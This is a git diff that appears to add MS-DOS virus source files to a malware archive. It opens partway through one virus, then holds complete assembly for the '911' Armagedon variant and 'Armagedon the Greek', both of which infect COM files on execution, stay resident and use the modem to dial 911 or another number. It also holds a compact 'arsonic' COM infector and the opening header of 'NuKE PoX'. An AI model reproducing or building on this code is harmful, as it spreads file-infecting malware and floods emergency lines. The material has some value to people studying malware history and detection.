file + mov ah,40h ; write to file + lea dx,word ptr ss:d0621a[bp] ; new jump + pop cx ; get bytes off stack + int 21h + + mov ax,4202h ; move fpointer to end + xor cx,cx ; clear these + cwd ; clear dx + int 21h + + mov ah,40h ; write to file + lea dx,word ptr start[bp] ; from here. + mov cx,00ech ; size of virus + int 21h + + mov ax,5701h ; set files date/time back + mov cx,word ptr ss:d06205[bp] ; + mov dx,word ptr ss:d06207[bp] ; + int 21h + + mov ah,3eh ; close file + int 21h + + mov ch,00 ; set attributes back + mov cl,byte ptr ss:d06204[bp] ; original attribs. + call set_attribute ; set them back + jmp set_dta ; jump and quit virus. + +d061ef equ 001efh +d06204 equ 00204h +d06205 equ 00205h +d06207 equ 00207h +d06209 equ 00209h +d0620d equ 0020dh +d0621a equ 0021ah +d0621b equ 0021bh + + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.armag911.asm b/MSDOS/Virus.MSDOS.Unknown.armag911.asm new file mode 100644 index 00000000..8b97471a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.armag911.asm @@ -0,0 +1,641 @@ +;*************************************************************************** +;* * +;* The 911 Virus * +;* (An "Armagedon the Greek" Variant) * +;* Caution! This Virus Will Dial 911 On Computers Equipped With A Modem! * +;*Dial is controlled off of the new INT 08 handler when virus goes TSR. * +;*Examine the way the virus goes memory resident using INT 27, this is an * +;*interesting method that I had not seen before in a virus. Also, look * +;*at its rather strange procedure for infecting files. * +;* * +;* Disassembly by Black Wolf * +;* * +;*************************************************************************** +.model tiny ;Sets assembler into Tiny mode +.radix 16 ;Sets numbers to hexidecimal +.code + org 100 + +;************************************************************************** +;* Loading Jump * +;************************************************************************** +start: + jmp Virus_Entry + +;************************************************************************** + + +;************************************************************************** +;* This is where the infected file would usually be. * +;************************************************************************** +;************************************************************************** + + +;************************************************************************** +;* Int 21 Handler * +;************************************************************************** +Int_21: + pushf + cmp ah,0E0 ;Is this an installation check? + jne not_check ;If not, go to not_check + mov ax,0DADA ;If so, return 0DADA + popf ;and exit interrupt. + iret + +not_check: + cmp ah,0E1 ;0E1=request for virus' seg. address + jne not_seg_req ;Not E1? then go to not_seg_req + mov ax,cs ;Move virus' address into AX + popf ;and exit interrupt. + iret +not_seg_req: + cmp ax,4B00 ;Load and Execute? + je Infect ;Go Infect +Go_Int_21: + popf + +; jmp dword ptr cs:[Int_21_Off] + db 2e,0ff,2e,22,01 ;Jump to Int 21 (done) +;************************************************************************** + + +;**************************************************************************** +;* Main Data Section * +;**************************************************************************** +Int_21_Off dw 138dh +Int_21_Seg dw 029a + +Int_08_Off dw 022Bh +Int_08_Seg dw 70 + +Ready_Byte db 0 +Timing_Counter db 8 +save_time_a db 10 +save_time_b db 9 +save_date db 34 +Bytes_Written dw 0 +waste_byte db 0 +Character_Count db 0 +Data_Ready db 0 +Ports_Initialized db 0 + +com db 'COM' +handle dw 5 +file_size dw 2 + db 0, 0 +mem_allocated dw 1301 +save_ss dw 12AC +save_sp dw 0FFFE +filename_seg dw 9B70 +filename_off dw 3D5Bh +attribs dw 20 +file_date dw 0EC2 +file_time dw 6E68 + db 0,0,81,0 +cs_save_3 dw 12AC + db 5C,0 +cs_save_1 dw 12AC + db 6C,0 +cs_save_2 dw 12AC +;**************************************************************************** + +Infect: + push ds bx si cx ax dx bp es di ;Save Registers + + cld ;Clear direction + push dx ds ;Save Filename Address + xor cx,cx ;Zero CX for use as counter + mov si,dx ;Move Filename Offset to SI + +Find_End_Of_Filename: + mov al,[si] ;Get letter from Filename + cmp al,0 ;Are we at the end of the + je Check_Filename ;Filename? Yes? Go to loc_7 + inc cx ;inc Count + inc si ;inc pointer to next char + jmp short Find_End_Of_Filename + +Check_Filename: + add dx,cx ;add filename length to + ;start of filename address + sub dx,3 ;Subtract 3 for extension + mov si,offset com ;com='COM' + mov di,dx ;set di=dx to Check + + ;Next few lines Check for + ;Command.Com + + cmp byte ptr [di-3],4E ;Is the second to last letter + ;an 'N'? + jne setup_check ;If not, it's not COMMAND, + ;Go to loc_8 + cmp byte ptr [di-2],44 ;Is the last letter a 'D'? + je Infect_Error ;If so, it is COMMAND, + ;Go to Infect_Error. +setup_check: + mov cx,3 ;Setup loop + +check_if_com: + mov al,cs:[si] + cmp al,[di] + jne Infect_Error + inc si ;Check for 'COM' Extension + inc di ;If so, infect, otherwise + loop check_if_com ;Go to Infect_Error + + pop ds + pop dx ;Restore original filename + push dx ;address to DS:DX, then + push ds ;push them back onto stack + + mov si,dx + mov dl,0 + + cmp byte ptr [si+1],3A ;Is the second letter a + ; ':'? I.E. is the file on + ;another drive? + + jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space + + mov dl,[si] ;Get drive number if the file + and dl,0F ;is on another drive. + +Get_Free_Disk_Space: + mov ah,36 + int 21h ;Get free drive space. + ;DL=drive + cmp ax,0FFFF + je Infect_Error + jmp short Continue_Infect + nop +Infect_Error: + jmp Pop_And_Quit_Infect + jmp End_Infect +Error_After_Open: + jmp Close_File + jmp Reset_DTA +Continue_Infect: + cmp bx,3 ;If there are less than 3 + jb Infect_Error ;clusters free, quit. + + pop ds ;DS:DX is filename address + pop dx ;again. + push ds + push dx + + mov word ptr cs:[filename_seg],ds ;Save DS:DX again + mov word ptr cs:[filename_off],dx + + mov ax,4300 + int 21 ;Get the file attributes + + mov word ptr cs:[attribs],cx ;Store attributes + mov ax,4301 + xor cx,cx ;Set attributes to zero + int 21 ;to insure write access. + + mov bx,0FFFF + mov ah,48 ;Allocate all free memory + int 21 ;by trying to allocate more + ;than the computer possibly can, + mov ah,48 ;then using the returned number + int 21 ;(free mem) as the amount to + ;request. + + mov word ptr cs:[mem_allocated],ax ;save the segment of + ;allocated memory + + mov ax,cs ;point ds to cs + mov ds,ax + mov dx,offset new_DTA + mov ah,1A + int 21 ;Set DTA to memory after virus + + pop dx + pop ds + mov ax,3D02 + clc ;clear carry (unneccessary) + int 21 ;Open file for read/write access + + jc Error_After_Open ;on error go to + ;Error_After_Open + mov bx,ax ;move handle to bx + mov word ptr cs:[handle],ax ;save file handle + mov cx,0FFFF + mov ax,word ptr cs:[mem_allocated] ;Get segment of + ;memory to use + mov ds,ax ;point ds to it + mov dx,end_main_virus-start + mov ah,3F + clc ;clear carry + int 21 ;Read 0ffff byte from file + + jc Error_After_Open ;If error go to + ;Error_After_Open + mov word ptr cs:[file_size],ax ;save file size + ;(number of bytes read) + cmp ax,0E000 + ja Error_After_Open ;File is too large, go to + ;Error_After_Open + cmp ax,end_main_virus-start ;Is file smaller than virus? + jb Not_Infected ;Yes, therefore it isn't + ;infected, goto Not_Infected + mov si,offset (end_main_virus+1-100) + add si,si ;Set SI to point to area where + sub si,15 ;the text message would be if + ;file is already infected. + mov cx,13 ;Length of Text_Message + mov di,offset Text_Message ;("Support Your Police") + +Check_For_Infection: + mov al,byte ptr [si] ;This loop checks for the text + mov ah,cs:byte ptr [di] ;message in the file being + cmp ah,al ;examined. If it's there, it + jne Not_Infected ;jumps to Close_File, + inc si ;otherwise it jumps to Not_Infected + inc di + loop Check_For_Infection + + jmp short Close_File + nop +Not_Infected: + mov ax,4200 + mov bx,word ptr cs:[handle] + xor cx,cx + mov dx,cx + int 21 ;Move to beginning of file + + jc Close_File + mov si,100 + mov cx,offset (end_main_virus-100) + xor di,di + mov ax,word ptr cs:[mem_allocated] + mov ds,ax + +Copy_Virus: + mov al,cs:[si] ;Copy virus onto file in + mov [di],al ;memory. "repnz movsw" + inc si ;would've worked a lot + inc di ;better. + loop Copy_Virus + + mov ax,5700 + mov bx,word ptr cs:[handle] + int 21 ;Get File Date/Time + + mov word ptr cs:[file_time],cx ;Save File Time + mov word ptr cs:[file_date],dx ;Save File Date + mov ax,word ptr cs:[mem_allocated] + mov ds,ax + mov si,offset (end_main_virus-100) + mov al,[si] ;encrypt first storage + add al,0Bh ;byte. + mov [si],al + xor dx,dx + mov cx,word ptr cs:[file_size] ;Calculate new file size + add cx,offset end_main_virus-100 ;(add virus size) + mov bx,word ptr cs:[handle] + mov ah,40 + int 21 ;Rewrite file + + mov word ptr cx,cs:[file_time] + mov word ptr dx,cs:[file_date] + mov bx,word ptr cs:[handle] + mov ax,5701 + int 21 ;Restore File Time + +Close_File: + mov bx,word ptr cs:[handle] + mov ah,3E + int 21 ;Close File + + push cs + pop ds +Reset_DTA: + mov dx,80 + mov ah,1A + int 21 ;Reset DTA to default + + mov ax,word ptr cs:[mem_allocated] + mov es,ax + mov ah,49 + int 21 ;Release Allocated Memory + + mov ax,word ptr cs:[filename_seg] + mov ds,ax + mov dx,word ptr cs:[filename_off] + mov ax,4301 + mov cx,word ptr cs:[attribs] + int 21 ;Restore File Date/Time + + jmp short End_Infect + nop + +Pop_And_Quit_Infect: + pop ds + pop dx + jmp short End_Infect + nop +End_Infect: + pop di es bp dx ax cx si bx ds + jmp Go_Int_21 + +;************************************************************************ +;* Timer Click (INT 8) Handler * +;* This is Used to Dial Numbers * +;************************************************************************ +Int_08: + push bp ds es ax bx cx dx si di + + pushf ;Push flags + ;call word ptr cs:[Int_08_Off] ;Run old timer click + db 2e,0ff,1e,26,01 + + call Timing_Routine + + push cs + pop ds + mov ah,5 + mov ch,byte ptr [save_time_a] + cmp ah,ch + ja Quit_Int_08 + ;if [save_time_a] !=6, quit. + mov ah,6 + cmp ah,ch + jb Quit_Int_08 + + mov ah,byte ptr [Ready_Byte] + cmp ah,1 + je Go_Dial + + mov ah,1 + mov byte ptr [Ready_Byte],ah + jmp short Quit_Int_08 + nop + +Go_Dial: + call Write_Ports + + inc word ptr [Bytes_Written] + mov ax,word ptr [Bytes_Written] + cmp ax,21C + jne Quit_Int_08 + xor ax,ax ;Reset Counters + mov byte ptr [Ready_Byte],ah + mov word ptr [Bytes_Written],ax + mov byte ptr [Data_Ready],ah +Quit_Int_08: + pop di si dx cx bx ax es ds bp + iret + +;**************************************************************************** +;* Timing Routine For Dialing * +;**************************************************************************** + + +Timing_Routine: + push cs + pop ds + + xor al,al + mov ah,byte ptr [Timing_Counter] + cmp ah,11 + jne Inc_Time_Count + mov ah,byte ptr [save_date] + cmp ah,3bh + jne Inc_Saved_Date + mov ah,byte ptr [save_time_b] + cmp ah,3bh + jne Inc_S_T_B + mov ah,byte ptr [save_time_a] + cmp ah,17 + jne Inc_S_T_A + + mov byte ptr [save_time_a],al +Save_T_B: + mov byte ptr [save_time_b],al +Store_Save_Date: + mov byte ptr [save_date],al +Time_Count: + mov byte ptr [Timing_Counter],al + ret +Inc_Time_Count: + inc byte ptr [Timing_Counter] + ret +Inc_Saved_Date: + inc byte ptr [save_date] + jmp short Time_Count +Inc_S_T_B: + inc byte ptr [save_time_b] + jmp short Store_Save_Date +Inc_S_T_A: + inc byte ptr [save_time_a] + jmp short Save_T_B + +dial_string db '+++aTh0m0s7=35dp911,,,,,,,' ;Dial string To call + ;911 and wait + +;**************************************************************************** +;* Write Data to Com Ports * +;**************************************************************************** + +Write_Ports: + mov al,byte ptr [Data_Ready] + cmp al,1 + je Ret_Write_Ports ; Jump if equal + + mov al,byte ptr [Ports_Initialized] ;Have Ports been + cmp al,1 ;Initialized yet? + je Already_Initialized + + mov cx,3 +Init_Ports: + mov dx,cx + xor ah,ah + mov al,83 ;Init Comport + int 14 ;1200 Baud, No Parity, + ;1 Stop Bit, 8 bit Word Len. + loop Init_Ports ;Initalize all Ports 1-4 + + + mov al,1 + mov byte ptr [Ports_Initialized],al + + jmp short Ret_Write_Ports + nop + +Already_Initialized: + push cs + pop ds + mov si,offset dial_string + mov al,byte ptr [Character_Count] + cmp al,1A + jne Write_From_SI_To_Ports + jmp short Setup_write + nop + +Write_From_SI_To_Ports: + xor ah,ah + add si,ax + mov al,[si] + mov dx,3F8 ;Outport from SI to standard + out dx,al ;addresses of ports 1-4 + mov dx,2F8 ;and increment character count + out dx,al + mov dx,2E8 + out dx,al + mov dx,3E8 + out dx,al + inc byte ptr [Character_Count] + jmp short Ret_Write_Ports + nop + +Setup_write: + mov cx,3 +Write_To_All_Ports: + mov dx,cx + mov al,0dh + mov ah,1 + int 14 ;Write a 1 to all ports + loop Write_To_All_Ports + + mov ax,1 + mov byte ptr [Data_Ready],al + mov byte ptr [Character_Count],ah + mov byte ptr [Ports_Initialized],ah + +Ret_Write_Ports: + ret + +;**************************************************************************** +; Virus Entry Point +;**************************************************************************** + +Virus_Entry: + mov ah,0e0 + int 21 ;Check for Installation + cmp ax,0dada ;Was it installed? + jne Install_Virus ;No? Then install it. + jmp Already_Installed ;Yes? Go to Already_Installed +Install_Virus: + push cs + pop ds + mov ax,3521 ;Get Int 21 Address + int 21 + + mov word ptr [Int_21_Off],bx ;Save old Int 21 + mov word ptr [Int_21_Seg],es ;Vector + mov dx,offset Int_21 + mov ax,2521 + int 21 ;Set Int 21 + + mov ax,3508 + int 21 ;Get Int 8 Address + + mov word ptr [Int_08_Off],bx + mov word ptr [Int_08_Seg],es ;Save old Vectors + mov dx,offset Int_08 + mov ax,2508 + int 21 ;Set Int 08 + + mov ah,2C + int 21 ;Get Time + + mov byte ptr [save_time_a],ch + mov byte ptr [save_time_b],cl ;Save Time and Date + mov byte ptr [save_date],dh + + mov ax,cs:[2c] ;Get environment block + mov ds,ax ;address and put it in DS + xor si,si ;DS:SI=beginning of Env. B. +Find_The_Filename: + mov al,[si] ;Search through environment + cmp al,1 ;block for program executed. + je Found_Filename + inc si + jmp short Find_The_Filename + +Found_Filename: + inc si + inc si + mov dx,si ;DS:DX = Filename + mov ax,cs + mov es,ax ;Set segment (ES) = CS + mov bx,5a ;Request 5a0h (1440 dec) bytes + mov ah,4a + int 21 ;Change Allocated Memory + + mov bx,word ptr cs:[81] ;Beginning of Command Line + mov ax,cs + mov es,ax ;set ES=CS again. + mov word ptr cs:[cs_save_1],ax + mov word ptr cs:[cs_save_2],ax ;Re-Execute program + mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause + mov ax,4B00 ;program to go mem-res + mov word ptr cs:[save_ss],ss ;without terminating + mov word ptr cs:[save_sp],sp ;regular program. + pushf + ;call far cs:[Int_21_Off] ;Call Load and Execute + db 2e,0ff,1e,22,01 + + mov ax,word ptr cs:[save_ss] + mov ss,ax + mov ax,word ptr cs:[save_sp] ;Restore Stack + mov sp,ax + mov ax,cs + mov ds,ax + mov dx,537 ;DX=End of virus + int 27 ;Terminate & stay resident +Already_Installed: + mov ah,0E1 ;Get CS of virus in memory + int 21 + mov si,offset Install_Jump + mov cs:[si+3],ax ;Setup Jump + mov ax,offset After_Jump + mov cs:[si+1],ax + mov ax,word ptr cs:[file_size] + mov bx,cs + +Install_Jump: + db 0ea +IP_For_Jump db 0,0 +CS_For_Jump db 0,0 + +After_Jump: + mov cx,ax + mov ds,bx + mov si,100 + mov di,offset storage_bytes + +Restore_File: ;Restore File in memory + mov al,[di] + mov [si],al + inc si + inc di + loop Restore_File + + mov si,offset return_jump + mov cs:[si+3],ds ;set host segment + mov al,byte ptr ds:[100] ;Get first byte of host, + sub al,0bh ;then unencrypt first byte + mov byte ptr ds:[100],al ;of Storage_Bytes + mov ax,ds ;and restore it + mov es,ax ;restore ES and SS to point + mov ss,ax ;to DS/CS + +;* jmp far ptr start ;Return control to COM file +return_jump: + db 0ea +host_offset db 00,01 +host_segment db 07,13 + +Text_Message db 'Support Your Police' + +end_main_virus: +Storage_Bytes db 0D8,20 ;First Byte Encrypted + +end_of_vir: +word_space db 8 dup (?) + +new_DTA : +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.armagedo.asm b/MSDOS/Virus.MSDOS.Unknown.armagedo.asm new file mode 100644 index 00000000..ccd60187 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.armagedo.asm @@ -0,0 +1,524 @@ +dta equ offset last_byte+10 +virlen equ (offset last_byte - offset start) +strlen equ (offset endstr - offset startstr) + +code segment + assume cs:code,ds:code + org 100h +start: jmp main + +newint21 proc far ; SETS THE 'INT 21h' VIRUSED + pushf ; Save flags for compare + cmp ah,0e0h ; Is it exist-test? + jnz notest1 ; if not go on + mov ax,0dadah ; else return signature, + popf ; restore flag and + iret ; return to program +notest1: cmp ah,0e1h + jnz notest2 + mov ax,cs + popf + iret +notest2: cmp ax,4b00h ; is 'EXEC' command? + jz infector ; if yes go to 'infection' +do_oldint: popf ; restore flags + jmp dword ptr cs:oldint21a; jump to normal INT 21h +newint21 endp + +oldint21a dw ? ; old INT 21h vector (low) +oldint21b dw ? ; old INT 21h vector (high) +oldint8a dw ? ; old INT 8 vector (low) +oldint8b dw ? ; old INT 8 vector (high) +status db 0 ; flag for time (call in progress) +ticks db 0 ; 18.2 tick counter +cur_h db 0 ; Current time (HOURS) +cur_m db 0 ; Current time (MINUTES) +cur_s db 0 ; Current time (SECONDS) +count dw 0 ; dial counter (30 sec, 540 ticks) +garbidge db 0 +stringpos db 0 +call_made db 0 +init_done db 0 +comext db 'COM' ; Valid inf. extension +handle dw ? ; inf. handle number +filesize dw 20 +prseg dw ? +seg_buffer dw ? +ss_reg dw ? +sp_reg dw ? +fileds dw ? +filedx dw ? +attr dw ? +filedate dw ? +filetime dw ? + +env_seg dw 00h +cdline_offs dw 81h +cdline_seg dw ? +fcb1_offs dw 5ch +fcb1_seg dw ? +fcb2_offs dw 6ch +fcb2_seg dw ? + +infector proc near ; PROGRAM INFECTOR + assume cs:code ; + push ds ; save registers to + push bx ; insure normal operation + push si ; by the INT 21h (ah=4b00h) + push cx ; + push ax ; + push dx ; + push bp ; + push es ; + push di ; + + cld ; Reset direction to increament + push dx ; Store the address of the + push ds ; filespec (DS:DX) + xor cx,cx ; reset counter + mov si,dx ; set ptr to filespec +nxtchr: mov al,ds:[si] ; take a char + cmp al,0 ; is it zero? + jz okay ; if yes goto okay + inc cx ; else increase counter + inc si ; and pointer + jmp nxtchr ; take the next chr if CX>0 +okay: + add dx,cx ; Point to end of filespec + sub dx,3 ; point to .EXT + mov si,offset comext ; Check if it is a + mov di,dx ; .COM file + cmp byte ptr ds:[di-3],'N'; + jnz ok_1 ; Is it a ND. ? + cmp byte ptr ds:[di-2],'D'; if yes exit! + jz nmatch ; +ok_1: mov cx,3 ; checking counter in 3 +cmp_loop: mov al,cs:[si] ; take 1st ptr's chr + cmp al,ds:[di] ; and compare it with filespec + jnz nmatch ; If no matching, exit + inc si ; else increase 1st ptr + inc di ; and second ptr + loop cmp_loop ; take next compare if CX>0 + + pop ds ; restore ds and dx to point + pop dx ; + + push dx ; Store pointer + push ds ; + mov si,dx ; Check if filespec + mov dl,0 ; contains a drive + cmp byte ptr ds:[si+1],':'; letter + jnz nodrive ; If no jump to nodrive spec. + mov dl,ds:[si] ; else take the drive in DL + and dl,0fh ; and modify for int 21h (ah=36h) +nodrive: mov ah,36h ; Take free disk space of DL disk + int 21h ; Do the call + cmp ax,0ffffh ; Was an invalid drive specified? + jz nmatch ; if yes, exit + jmp bypass ; Correct jx 127 limit + +nmatch: jmp nomatch +invd: jmp invdrive +closeit1: jmp closeit +resdta1: jmp resdta + +bypass: cmp bx,3 ; Are there at least 3 clust. free? + jb nmatch ; If no, exit + pop ds ; restore pointers + pop dx ; + + push ds ; and allocate memory + push dx ; for the infection + mov cs:fileds,ds + mov cs:filedx,dx + mov ax,4300h ; code for Get Attr + int 21h + mov cs:attr,cx + mov ax,4301h + xor cx,cx + int 21h + + mov bx,0ffffh + mov ah,48h + int 21h + mov ah,48h + int 21h + mov cs:seg_buffer,ax + + mov ax,cs + mov ds,ax + mov dx,dta + mov ah,1ah + int 21h + + pop dx + pop ds + mov ax,3d02h ; DosFn OPEN FILE (R/W) + clc ; Clear carry flag + int 21h ; Do open + jc closeit1 ; If Error exit + mov bx,ax ; Handle to BX + mov cs:handle,ax ; save handle + mov cx,0ffffh ; Bytes to read + mov ax,cs:seg_buffer ; + mov ds,ax ; + mov dx,virlen ; DS:DX points to buffer + mov ah,3fh ; DosFn READ FROM FILE + clc ; clear carry flag + int 21h ; Do the call + jc closeit1 ; if error exit + mov cs:filesize,ax ; Num of bytes actually read + ;cmp ax,0e000h ; max com size to infect + ;ja closeit1 ; if size>max exit + cmp ax,virlen ; if filesize is less than the + jb virit ; virus size then it is clean + mov si,virlen+1 ; Set 1st ptr to START of file + add si,si ; add 1st ptr the length of file + sub si,21 ; and subtract 12 to point to sig. + mov cx,19 ; set the test loop to 10 bytes + mov di,offset signature ; Set 2nd ptr to constant signature +test_sig: mov al,ds:[si] ; take the byte pointed to by SI + mov ah,cs:[di] ; and compare it with the byte + cmp ah,al ; pointed to by DI + jne virit ; if not equal then it is clean! + inc si ; else increase 1st pointer + inc di ; increase 2nd pointer + loop test_sig ; continue with next if CX>0 + jmp closeit + +virit: mov ax,4200h ; Code for LSEEK (Start) + mov bx,cs:handle ; Handle num in BX + xor cx,cx ; Reset CX + mov dx,cx ; and DX + int 21h ; Do the call + jc closeit + + mov si,offset start + mov cx,virlen + xor di,di + mov ax,cs:seg_buffer + mov ds,ax +virusin: mov al,cs:[si] + mov ds:[di],al + inc si + inc di + loop virusin + + mov ax,5700h + mov bx,cs:handle + int 21h + mov cs:filetime,cx + mov cs:filedate,dx + + mov ax,cs:seg_buffer + mov ds,ax + + mov si,virlen + mov al,ds:[si] + add al,11 + mov ds:[si],al + + xor dx,dx ; DX points to Buffer (file) + mov cx,cs:filesize ; Size of file in CX + add cx,virlen ; But added by Virlen + mov bx,cs:handle ; File handle num in BX + mov ah,40h ; Code for WRITE FILE + int 21h ; Do the call + + mov cx,cs:filetime + mov dx,cs:filedate + mov bx,cs:handle + mov ax,5701h + int 21h + +closeit: mov bx,cs:handle ; Handle in BX + mov ah,3eh ; Code for CLOSE FILE + int 21h ; Do close it + push cs + pop ds +resdta: mov dx,80h ; Reset the DTA + mov ah,1ah ; in Address 80H + int 21h ; Do call + mov ax,cs:seg_buffer + mov es,ax + mov ah,49h + int 21h + + mov ax,cs:fileds ; + mov ds,ax ; + mov dx,cs:filedx ; + mov ax,4301h ; + mov cx,cs:attr ; + int 21h ; + jmp invdrive ; and exit +nomatch: + pop ds + pop dx + jmp notinfect + +invdrive: +notinfect: + pop di ; restore registers + pop es ; to their initial + pop bp ; values + pop dx ; + pop ax ; + pop cx ; + pop si ; + pop bx ; + pop ds ; + jmp do_oldint ; return from call +infector endp + +newint8 proc far ; VIRUS' TIMER ISR + push bp ; + push ds ; store all registers + push es ; and flags before + push ax ; the new timer + push bx ; operations. + push cx ; Otherwize a 'crush' + push dx ; is unavoidable + push si ; + push di ; + pushf ; Simulate an INT + call dword ptr cs:oldint8a ; Do old timer stuff + call tick ; update virus clock routine + push cs + pop ds + mov ah,5 ; Check if time + mov ch,cur_h ; is now above the + cmp ah,ch ; lower limit (5 o'clock) + ja exitpoint ; if not, exit + mov ah,6 ; Check if time + cmp ah,ch ; is now below the higher limit + jb exitpoint ; if not, exit + mov ah,status ; get the virus status + cmp ah,1 ; test if call in progress + jz in_progress ; if yes goto countdown routine + mov ah,1 ; if not, set the status to + mov status,ah ; indicate 'In progress' + jmp exitpoint ; and exit +in_progress: ; CALL IS IN PROGRESS! + call dial ; else call dial routine + inc count ; CALL_TIMER + mov ax,count + cmp ax,540 ; check for time-out + jne exitpoint ; if not, exit else + xor ax,ax ; set status to indicate + mov status,ah ; 'ready to call'! + mov count,ax ; reset call_timer + mov call_made,ah +exitpoint: + pop di ; restore registers to + pop si ; their values and + pop dx ; + pop cx ; + pop bx ; + pop ax ; + pop es ; + pop ds ; + pop bp ; + iret ; return to program +newint8 endp + +tick proc near ; VIRUS' CLOCK ROUTINE + assume cs:code,ds:code + push cs + pop ds + xor al,al + mov ah,ticks ; test if ticks have + cmp ah,17 ; reached limit (17) + jnz incticks ; if no, incerase ticks + mov ah,cur_s ; test if seconds have + cmp ah,59 ; reached limit (59) + jnz incsec ; if no, increase seconds + mov ah,cur_m ; test if minutes have + cmp ah,59 ; reached limit (59) + jnz incmin ; if no, increase minutes + mov ah,cur_h ; test if hours have + cmp ah,23 ; reached limit (23) + jnz inchour ; if no, increase hours + mov cur_h,al ; else reset hours +exitp3: mov cur_m,al ; reset minutes +exitp2: mov cur_s,al ; reset seconds +exitp1: mov ticks,al ; reset ticks + ret ; end exit +incticks: inc ticks ; increase ticks + ret ; and exit +incsec: inc cur_s ; increase seconds + jmp exitp1 ; and exit +incmin: inc cur_m ; increase minutes + jmp exitp2 ; and exit +inchour: inc cur_h ; increase hours + jmp exitp3 ; end exit +tick endp + +startstr: +string db '+++aTh0m0s7=35dp081,,,,141' +endstr: + +dial proc near + assume cs:code,ds:code + + mov al,call_made + cmp al,1 + jz exit_dial + mov al,init_done + cmp al,1 + jz send_one + + mov cx,3 +next_init: mov dx,cx + xor ah,ah + mov al,131 + int 14h + loop next_init + mov al,1 + mov init_done,al + jmp exit_dial + +send_one: push cs + pop ds + mov si,offset string + mov al,stringpos + cmp al,strlen + jnz do_send + jmp sendret + +do_send: xor ah,ah + add si,ax +next_char: mov al,[si] + mov dx,3f8h + out dx,al + mov dx,2f8h + out dx,al + mov dx,2e8h + out dx,al + mov dx,3e8h + out dx,al + inc stringpos + jmp exit_dial + +sendret: mov cx,3 +retloop: mov dx,cx + mov al,13 + mov ah,1 + int 14h + loop retloop + +reset: mov ax,0001h + mov call_made,al + mov stringpos,ah + mov init_done,ah +exit_dial: ret +dial endp + +main: ; VIRUS' MEMORY INSTALLER + assume cs:code,ds:code ; + mov ah,0e0h ; is VIRUS already + int 21h ; in memory? + cmp ax,0dadah ; if yes then + jnz cont ; terminate, else + jmp already_in +cont: push cs + pop ds + mov ax,3521h ; capture the old + int 21h ; INT 21h vector and + mov oldint21a,bx ; store the absolute address + mov oldint21b,es ; in 'oldint21x' variables + mov dx,offset newint21 ; point to new INT 21h ISR + mov ax,2521h ; replace it to vector + int 21h ; + mov ax,3508h ; capture the old + int 21h ; timer vector and + mov oldint8a,bx ; store the address + mov oldint8b,es ; in 'oldint8x' var + mov dx,offset newint8 ; point to new timer ISR + mov ax,2508h ; replace it to vector + int 21h ; + mov ah,2ch ; get the current + int 21h ; time from DOS + mov cur_h,ch ; and store it + mov cur_m,cl ; for the + mov cur_s,dh ; virus' timer + ; RUN PROGRAM! + mov ax,cs:[2ch] + mov ds,ax + xor si,si +loop1: mov al,ds:[si] + cmp al,1 + jz exitl1 + inc si + jmp loop1 +exitl1: inc si + inc si + mov dx,si + + mov ax,cs + mov es,ax ; SHRINK BLOCK + mov bx,90 + mov ah,4ah + int 21h + + mov bx,cs:[81h] + mov ax,cs + mov es,ax + mov cs:fcb1_seg,ax + mov cs:fcb2_seg,ax + mov cs:cdline_seg,ax + mov ax,4b00h + ; + ; + ; + mov cs:ss_reg,ss + mov cs:sp_reg,sp + pushf + call dword ptr cs:oldint21a + mov ax,cs:ss_reg + mov ss,ax + mov ax,cs:sp_reg + mov sp,ax + mov ax,cs + mov ds,ax + mov dx,offset last_byte + int 27h + +already_in: mov ah,0e1h + int 21h + mov si,offset pokelabl + mov cs:[si+3],ax + mov ax,offset fix_com + mov cs:[si+1],ax + mov ax,cs:filesize + mov bx,cs +pokelabl: db 0eah,00h,00h,00h,00h + +fix_com: mov cx,ax + mov ds,bx + mov si,100h + mov di,100h+virlen +dofix: mov al,ds:[di] + mov ds:[si],al + inc si + inc di + loop dofix + mov si,offset poklb + mov cs:[si+3],ds + mov al,ds:[100h] + sub al,11 + mov ds:[100h],al + mov ax,ds + mov es,ax + mov ss,ax +poklb: db 0eah,00h,01h,00h,00h + +signature: db 'Armagedon the GREEK' +last_byte: db 90h+11 + nop + nop + nop + mov ah,4ch + int 21h +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.arsonic.asm b/MSDOS/Virus.MSDOS.Unknown.arsonic.asm new file mode 100644 index 00000000..f182ebec --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.arsonic.asm @@ -0,0 +1,70 @@ +tic segment + org 100h + assume cs:tic, ds:tic, es:tic + +len equ offset last-100h + +start: mov si,0100h + push si + mov ax,cs + add ah,10h + mov es,ax + xor di,di + mov cx,len + rep movsb + mov dx,0FE00h + mov ah,1Ah + int 21h + mov dx,offset file + mov ah,4Eh + jmp short find +retry: mov ah,3Eh + int 21h + mov ah,4Fh +find: push cs + pop ds + int 21h + mov cx,0FE1Eh + jc nofile + mov dx,cx + mov ax,3D02h + int 21h + xchg ax,bx + push es + pop ds + mov dx,di + mov ah,3Fh + int 21h + add ax,len + cmp byte ptr [di], 0BEh + je retry + push ax + xor cx,cx + mov ax,4200h + cwd + int 21h + pop cx + mov ah,40h + int 21h + jmp short retry + +nofile: push cs + pop es + mov bl,0FCh + mov [bx],0AAACh + mov [bx+2],0FCE2h + pop di + push bx + ret + +file db '*.COM',0 +last db 0C3h + +tic ends + end start + +; ───────────────────────────────────────────────────────────────────────── +; ────────────────────> and Remember Don't Forget to Call <──────────────── +; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <────────── +; ───────────────────────────────────────────────────────────────────────── + diff --git a/MSDOS/Virus.MSDOS.Unknown.art-b.asm b/MSDOS/Virus.MSDOS.Unknown.art-b.asm new file mode 100644 index 00000000..9d1a1717 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.art-b.asm @@ -0,0 +1,497 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -* +;*- ~~~~~~ *- +;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -* +;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, 